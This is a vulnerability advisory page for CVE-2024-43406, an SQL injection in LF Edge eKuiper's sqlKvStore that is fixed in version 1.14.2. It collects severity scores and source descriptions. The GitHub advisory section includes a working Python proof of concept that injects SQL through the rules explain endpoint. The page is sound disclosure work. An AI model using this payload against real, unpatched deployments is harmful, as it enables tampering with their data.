CVE-2024-43406
JSON

8.8high

LF Edge eKuiper has a SQL Injection in sqlKvStore

Severity
8.8high CVSS:3.1 by GitHub_M
Exploit likelihood
0.89% (higher than 60% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-r5ph-4jxm-6j9pGO-2024-3078PYSEC-2024-72

Description

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

Affected

Product or packageVersionsReported by
lf-edge ekuiper< 1.14.2CVE List
lfedge ekuiperbefore 1.14.2CVE List, NVD
github.com/lf-edge/ekuiper (Go)before 1.14.2GitHub Advisory Database, Go Vulnerability Database
ekuiper (PyPI)before 1.14.2, before 1a9c745649438feaac357d282959687012b65503GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-89

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

GitHub Advisory Database
Summary

A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

Details

I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141

PoC
import requests
from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain"   # explainRuleHandler

res = requests.get(url)
print(res.content)

The screenshot shows the malicious SQL query to insert a value: image

The screenshot shows the breakpoint of executing the query: image

Impact

SQL Injection vulnerability

The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Go Vulnerability Database

LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper

NVD (es)

LF Edge eKuiper es un motor liviano de procesamiento de flujo y análisis de datos de IoT que se ejecuta en dispositivos de borde con limitaciones de recursos. Un usuario podría utilizar y explotar la inyección SQL para permitir la ejecución de consultas SQL maliciosas a través del método Get en sqlKvStore. Esta vulnerabilidad se solucionó en 1.14.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-43406 changed 2024-08-20CVE Terms of Use
GitHub Advisory DatabaseGHSA-r5ph-4jxm-6j9p changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2024-3078 changed 2026-03-03CC-BY-4.0
NVDCVE-2024-43406 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2024-72 changed 2025-10-09CC-BY-4.0